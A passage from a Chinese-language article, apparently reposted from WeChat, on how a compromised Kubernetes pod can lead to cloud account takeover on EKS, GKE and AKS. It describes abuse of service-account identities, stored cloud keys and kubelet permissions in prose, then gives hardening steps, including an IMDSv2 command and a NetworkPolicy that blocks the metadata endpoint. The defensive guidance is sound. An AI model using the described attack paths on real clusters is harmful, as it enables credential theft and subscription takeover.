Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Pod</p> 访问；它在 亚马逊云、谷歌云 和 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p> 中分别叫<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM Roles for Service Accounts</p>、<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Workload Identity</p>或<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure AD workload identity</p>。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">尽管这是一种将集群资源与云资源集成的安全方式，但黑客入侵了这种方案下<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p>, 可能会冒充服务帐户的身份并滥用其访问相关云资源的权限。事实上，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Wiz</p> 的研究团队发现，托管 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8s</p> 集群的云环境大约有10%, 至少有一个具有可利用的致命或高危漏洞的公开 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 和一个具有高特权 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM/AAD</p> 身份的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8s</p> 服务帐户。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">3. Kubernetes secrets/pods 中的长期云密钥</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">长期云密钥（例如 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p> 服务主体凭据）通常存储在 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8s</p> 密钥对象中，因此 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 中运行的程序可以在本地访问它们或通过服务帐户执行任务。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">这些云密钥存在问题，因为它们有不确定的保质期：除非手动撤销，否则黑客可以使用窃取的密钥反复冒充关联的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p> 访问密钥、服务帐户或 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AAD</p> 服务主体。例如，黑客入侵了一个公开的容器，它关联的服务帐户可能有对命名空间密钥的完全读取访问权限，他就会列出所有密钥，并调用 K8s API 来提取任何存储敏感数据。如果某个密钥持有强大的凭据，例如有所有者权限的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AAD</p> 服务主体，这可能会导致整个订阅被接管。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">4.pod逃逸</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">黑客可以通过致命的错误配置或漏洞从<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p>逃逸，进入宿主机，并访问同在宿主机的其它<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p>。如果 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod </p>关联了有<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p> 身份的服务帐户，黑客可能会冒充这些身份。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">然而，从<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 逃逸到宿主机的影响也受到 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">kubelet</p> 的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">RBAC</p> 权限的影响。这些权限因云提供商而异：</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.43703703703703706" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=eb2447f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbx5mY8AMPia2OrdGNa1WdOqBUD6Cj3peY4UQAujqUf7tvzEKicmzRXDibyQnT8bYE6QPdibnDecdar7Zg%2F640%3Fwx_fmt%3Dother"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.36574074074074076" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ce183c5b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbx5mY8AMPia2OrdGNa1WdOqBvGyD1Q60JjC3zS75uR5bBPncQVf8nMB9Ga9MDZewuE3HyRyYyU6CSQ%2F640%3Fwx_fmt%3Dother"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.7185185185185186" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=af8a7554&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbx5mY8AMPia2OrdGNa1WdOqBBBuMKNQia7B5ibNe4CqaJepFpyic4rP3RRBFibbdqMlxRwdiaO70LZBFezQ%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">尽管权限不同，但在三个云厂商中，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">kubelet</p>都通过 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Kubernetes</p> <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Rest API</p>（非资源 URL <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">/api/*</p>）拥有对所有集群资源的完全读取访问权限，因此可以抽取到集群的任何密钥，包括 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM/AAD</p> 身份的明文长期密钥和高权限的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8s</p> 服务帐户令牌。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">此外<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">，AKS kubelet RBAC</p> 权限授予对关键 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Kubernetes</p> 对象的写入权限。这允许 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">kubelet</p> 更新节点并创建或删除在其上运行的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p>。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在有入侵节点和写入权限的情况下，黑客可以创建一个新的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p>，将<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AAD</p> 用户管理的身份赋予到现有的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8s</p> 服务帐户，请求 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AAD</p> 访问令牌，然后采用该身份。</div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">推荐的最佳实践</h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">6 个关键 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8s</p> 到云的最佳实践：</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">1. 屏蔽 IMDS 端点</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">遵守最小特权原则，防止黑客查询 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IMDS</p> 端点获取访问令牌。</div><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">EKS</p></li></ul><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">限制 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 获取节点的角色访问令牌的第一步是, 为服务帐户启用 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p> 角色 (IRSA)，并仅向与 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8s</p> 服务帐户关联的每个角色授予必要的权限。然而，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IRSA</p> 不会限制 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 对节点的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IMDS</p> 端点的网络访问。为了防止 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 访问端点，它们需要在与节点实例不同的网络命名空间中运行。这可以通过强制执行 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IMDSV2</p>、将每个工作节点上的跳数 (TTL) 修改为 1 并禁用pod 属性<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">hostNetwork</p>限制共享网络名称空间。可以在相关工作节点上使用以下 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">cli</p> 命令执行此操作：</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">aws ec2 modify-instance-metadata-options –instance-id &lt;value&gt; --http-tokens required –http-put-response-hop-limit 1</p></pre><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">GKE</p></li></ul><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">如果使用的是 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Autopilot</p> 托管集群部署，则无需阻止 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IMDS</p> 端点，因为 Autopilot 使用工作节点身份 (<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WI</p>)。相反，如果要部署标准 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">GKE</p> 集群，则应手动启用 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WI</p>并仅向每个<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8s</p>服务帐户关联的 IAM 服务帐户分配所需的权限。赋予具有最小权限的服务帐户（例如<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Kubernetes </p>引擎节点服务帐户角色）至关重要，因为 谷歌云 会自动将过于宽松的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p> 基本编辑器角色的计算引擎默认服务帐户分配给工作节点。</div><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">AKS</p></li></ul><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">如果集群需要访问 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p> 云工作节点，可以通过启用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure AD </p>工作节点身份来限制<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 获取节点托管身份访问令牌。然后，仅向每个<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8s</p>服务帐户关联的用户授予最小权限。由于工作节点身份不限制对节点的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IMDS</p> 端点的网络访问，还应该应用 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Kubernetes</p> 网络策略来阻止在特定命名空间中运行的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 访问元数据：</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #9CDCFE;line-height: 26px;">apiVersion:</span> <span style="color: #D69D85;line-height: 26px;">networking.k8s.io/v1</span><span style="color: #9CDCFE;line-height: 26px;">kind:</span> <span style="color: #D69D85;line-height: 26px;">NetworkPolicy</span><span style="color: #9CDCFE;line-height: 26px;">metadata:</span>  <span style="color: #9CDCFE;line-height: 26px;">name:</span> <span style="color: #D69D85;line-height: 26px;">deny-metadata-access</span>  <span style="color: #9CDCFE;line-height: 26px;">namespace:</span> <span style="color: #D69D85;line-height: 26px;">example</span><span style="color: #9CDCFE;line-height: 26px;">spec:</span>  <span style="color: #9CDCFE;line-height: 26px;">podSelector:</span> <span style="color: #D69D85;line-height: 26px;">{}</span>  <span style="color: #9CDCFE;line-height: 26px;">policyTypes:</span>  <span style="color: #D7BA7D;line-height: 26px;">-</span> <span style="color: #D69D85;line-height: 26px;">Egress</span>  <span style="color: #9CDCFE;line-height: 26px;">egress:</span>  <span style="color: #D7BA7D;line-height: 26px;">-</span> <span style="color: #9CDCFE;line-height: 26px;">to:</span>    <span style="color: #D7BA7D;line-height: 26px;">-</span> <span style="color: #9CDCFE;line-height: 26px;">ipBlock:</span>        <span style="color: #9CDCFE;line-height: 26px;">cidr:</span> <span style="color: #B8D7A3;line-height: 26px;">0.0</span><span style="color: #B8D7A3;line-height: 26px;">.0</span><span style="color: #B8D7A3;line-height: 26px;">.0</span><span style="color: #D69D85;line-height: 26px;">/0</span>        <span style="color: #9CDCFE;line-height: 26px;">except:</span>        <span style="color: #D7BA7D;line-height: 26px;">-</span> <span style="color: #B8D7A3;line-height: 26px;">169.254</span><span style="color: #B8D7A3;line-height: 26px;">.169</span><span style="color: #B8D7A3;line-height: 26px;">.254</span><span style="color: #D69D85;line-height: 26px;">/32</span></p></pre><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">2.采用Pod Security Admission (PSA)</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Kubernetes 1.25 </p>中，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Pod Security Admission (PSA)</p> 正式取代了 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Pod Security Policies</p>。<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 